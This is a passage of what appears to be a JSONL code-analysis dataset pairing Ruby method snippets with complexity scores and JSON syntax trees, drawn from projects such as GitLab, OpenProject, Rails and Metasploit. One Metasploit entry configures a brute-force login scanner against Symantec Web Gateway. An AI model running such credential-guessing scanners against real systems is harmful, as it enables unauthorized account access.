},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"sym\",\"children\":[\"miss\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/cached_customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_customer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"Stan\"]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"642c5ded-43c2-4c09-b98b-8a70517d9186"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/destroy/entity_leave_service.rb","start_line":106,"raw_source":"def non_authorized_planner_projects\n        projects.id_not_in(authorized_planner_projects)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"non_authorized_planner_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[null,\"authorized_planner_projects\"]}]}]}","id":"1f9f927d-3b8f-4b83-beab-fefefd75f0db"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/helpers/reporting_helper.rb","start_line":254,"raw_source":"def show_row(row)\n    row.render { |k, v| show_field(k, v) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"render\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"show_field\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}","id":"dbdaf9ae-79d7-4935-98b6-34b5082602f5"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/shipments_controller.rb","start_line":110,"raw_source":"def load_variant\n            @variant = current_store.variants.find_by(id: params.dig(:shipment, :variant_id))\n          end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_variant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@variant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"variants\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"shipment\"]},{\"type\":\"sym\",\"children\":[\"variant_id\"]}]}]}]}]}]}]}","id":"cf53c67b-66e6-4446-af40-6c5536fd9500"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/tty.rb","start_line":61,"raw_source":"def shell_read(length = nil)\n    if length.nil?\n      rv = rstream.get\n    else\n      rv = rstream.read(length)\n    end\n    return rv\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_read\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"length\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"rv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rstream\"]},\"get\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rstream\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]}]}]}]}","id":"b0ffe5d6-f07d-425d-a787-bfe2c2e80c9f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb","start_line":145,"raw_source":"def test_passing_arbitrary_flags_to_adapter\n      run_without_connection do |orig_connection|\n        ActiveRecord::Base.establish_connection(orig_connection.merge(flags: Mysql2::Client::COMPRESS))\n        assert_equal (Mysql2::Client::COMPRESS | Mysql2::Client::FOUND_ROWS), ActiveRecord::Base.lease_connection.raw_connection.query_options[:flags]\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_passing_arbitrary_flags_to_adapter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_without_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orig_connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig_connection\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flags\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"COMPRESS\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"COMPRESS\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"FOUND_ROWS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"raw_connection\"]},\"query_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flags\"]}]}]}]}]}]}","id":"6282810e-d75b-4a7a-b4aa-d71905750fb2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20221101190723_backfill_admin_action_logs.rb","start_line":195,"raw_source":"def process_logs_for_canonical_email_block\n    AdminActionLog.includes(:canonical_email_block).where(target_type: 'CanonicalEmailBlock', human_identifier: nil).find_each do |log|\n      next if log.canonical_email_block.nil?\n\n      log.update_attribute('human_identifier', log.canonical_email_block.canonical_email_hash)\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_logs_for_canonical_email_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminActionLog\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"canonical_email_block\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"CanonicalEmailBlock\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"human_identifier\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"canonical_email_block\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"update_attribute\",{\"type\":\"str\",\"children\":[\"human_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"canonical_email_block\"]},\"canonical_email_hash\"]}]}]}]}]}","id":"f48e4284-0cb7-48fb-8ffe-9f9c7226cd02"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/create_form_representer.rb","start_line":37,"raw_source":"def resource_url\n          api_v3_paths.queries\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"queries\"]}]}","id":"5fae1ee5-cc7c-4016-91c5-1e050e6187d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/circuit_breaker/store.rb","start_line":28,"raw_source":"def load(key, _opts = {})\n        with { |redis| redis.get(key) }\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"e10bd5bd-66c3-42d8-896a-05de58807e80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/pull_requests/merged_by_importer.rb","start_line":69,"raw_source":"def missing_author_note\n            format(s_(\"GitHubImporter|*Merged by: %{author} at %{timestamp}*\"),\n              author: merged_by&.login || 'ghost',\n              timestamp: pull_request.merged_at\n            )\n          end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_author_note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"GitHubImporter|*Merged by: %{author} at %{timestamp}*\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_by\"]},\"login\"]},{\"type\":\"str\",\"children\":[\"ghost\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_request\"]},\"merged_at\"]}]}]}]}]}","id":"f7253e92-2e9e-4664-ab5d-50483315a737"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":79,"raw_source":"def allowing_actor_communication\n        return user_preference_map.values if acting_user_staff?\n        user_preference_map.reject { |user_id, pref| pref.communication_prevented? }.values\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowing_actor_communication\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"acting_user_staff?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_preference_map\"]},\"values\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_preference_map\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"pref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pref\"]},\"communication_prevented?\"]}]},\"values\"]}]}]}","id":"c0fca8f0-62a9-46a5-b944-e56e05d62269"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb","start_line":45,"raw_source":"def scanner(ip)\n    @scanner ||= lambda {\n      cred_collection = build_credential_collection(\n        username: datastore['USERNAME'],\n        password: datastore['PASSWORD']\n      )\n\n      return Metasploit::Framework::LoginScanner::SymantecWebGateway.new(\n        configure_http_login_scanner(\n          host: ip,\n          port: datastore['RPORT'],\n          cred_details: cred_collection,\n          stop_on_success: datastore['STOP_ON_SUCCESS'],\n          bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n          connection_timeout: 5,\n          http_username: datastore['HttpUsername'],\n          http_password: datastore['HttpPassword']\n        )\n      )\n    }.call\n  end","complexity_score":36.45,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scanner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"SymantecWebGateway\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"configure_http_login_scanner\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_timeout\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]}]}]}]}]}]},\"call\"]}]}]}","id":"25c2aeb0-2ab7-4200-90b8-377666922db2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/software_update.rb","start_line":27,"raw_source":"def outdated?\n    runtime_version >= gem_version\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"outdated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runtime_version\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"gem_version\"]}]}]}","id":"d6f90169-95c0-4559-802b-7e72e3e8f79c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/deleted_user.rb","start_line":32,"raw_source":"def self.first\n    super || create(type: to_s, status: statuses[:locked])\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locked\"]}]}]}]}]}]}]}","id":"70670365-1603-41e4-a0f7-46b8add17618"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":922,"raw_source":"def test_escape_html_with_interpolated_if_statement\n    assert_equal(<<HTML, render(<<HAML, :escape_html => true))\nfoo,\nHTML\nfoo\\#{\",\" if true}\nHAML\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_escape_html_with_interpolated_if_statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo,\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"foo#{\\\",\\\" if true}\\n\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"d70bca03-cf38-4a28-b55e-2b6f42e6b5a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/participable.rb","start_line":196,"raw_source":"def read_ability_for(participable_source)\n    name =  participable_source.try(:to_ability_name) || participable_source.model_name.element\n\n    { name: :\"read_#{name}\", subject: participable_source }\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"read_ability_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"participable_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"try\",{\"type\":\"sym\",\"children\":[\"to_ability_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participable_source\"]},\"model_name\"]},\"element\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"read_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"participable_source\"]}]}]}]}]}","id":"9faa3aa1-71b2-4567-933a-ed28168773a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/models/two_factor_authentication/device.rb","start_line":26,"raw_source":"def has_default?\n      self.class.has_default? user\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_default?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"has_default?\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"68a29a7e-3038-4512-874f-a49b8dd251db"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_agenda_items_controller.rb","start_line":308,"raw_source":"def generic_call_failure_response(call)\n    # A failure might imply that the meeting was already closed and the action was triggered from a stale browser window\n    # updating all components resolves the stale state of that window\n    update_all_via_turbo_stream\n    # show additional base error message\n    render_base_error_in_flash_message_via_turbo_stream(call.errors)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generic_call_failure_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_all_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"render_base_error_in_flash_message_via_turbo_stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]}]}]}]}","id":"624bada8-5b35-43b6-8bd2-4d2ab671b3f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":316,"raw_source":"def sorted_ancestors(group)\n    if group.root_ancestor.use_traversal_ids?\n      group.ancestors(hierarchy_order: :asc)\n    else\n      group.ancestors\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sorted_ancestors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"root_ancestor\"]},\"use_traversal_ids?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"ancestors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_order\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"ancestors\"]}]}]}","id":"ae99014d-3160-4a23-b063-57958df421b6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_instrumentation_test.rb","start_line":369,"raw_source":"def test_transaction_instrumentation_on_failed_commit\n    topic = topics(:fifth)\n\n    notified = false\n    subscriber = ActiveSupport::Notifications.subscribe(\"transaction.active_record\") do |event|\n      notified = true\n    end\n\n    error = Class.new(StandardError)\n    assert_raises error do\n      ActiveRecord::Base.lease_connection.stub(:commit_db_transaction, -> (*) { raise error }) do\n        ActiveRecord::Base.transaction do\n          topic.update(title: \"Ruby on Rails\")\n        end\n      end\n    end\n\n    assert notified\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_instrumentation_on_failed_commit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fifth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notified\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"transaction.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"lvasgn\",\"children\":[\"notified\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"commit_db_transaction\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"notified\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"1f4cb2a1-b76e-48e8-b50b-29fdc1d25bf0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/magic_comment_format.rb","start_line":141,"raw_source":"def values\n            @values ||= begin\n              matches = []\n\n              text.scan(VALUE_REGEXP) do\n                offset = Regexp.last_match.offset(1)\n                matches << loc.expression.adjust(begin_pos: offset.first)\n                              .with(end_pos: loc.expression.begin_pos + offset.last)\n              end\n\n              matches\n            end\n          end","complexity_score":30.38,"ast_json":"{\"type\":\"def\",\"children\":[\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@values\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text\"]},\"scan\",{\"type\":\"const\",\"children\":[null,\"VALUE_REGEXP\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"offset\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loc\"]},\"expression\"]},\"adjust\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"first\"]}]}]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loc\"]},\"expression\"]},\"begin_pos\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"last\"]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]}]}","id":"3ed36cdf-d066-4e12-8c9f-033c48e22264"}
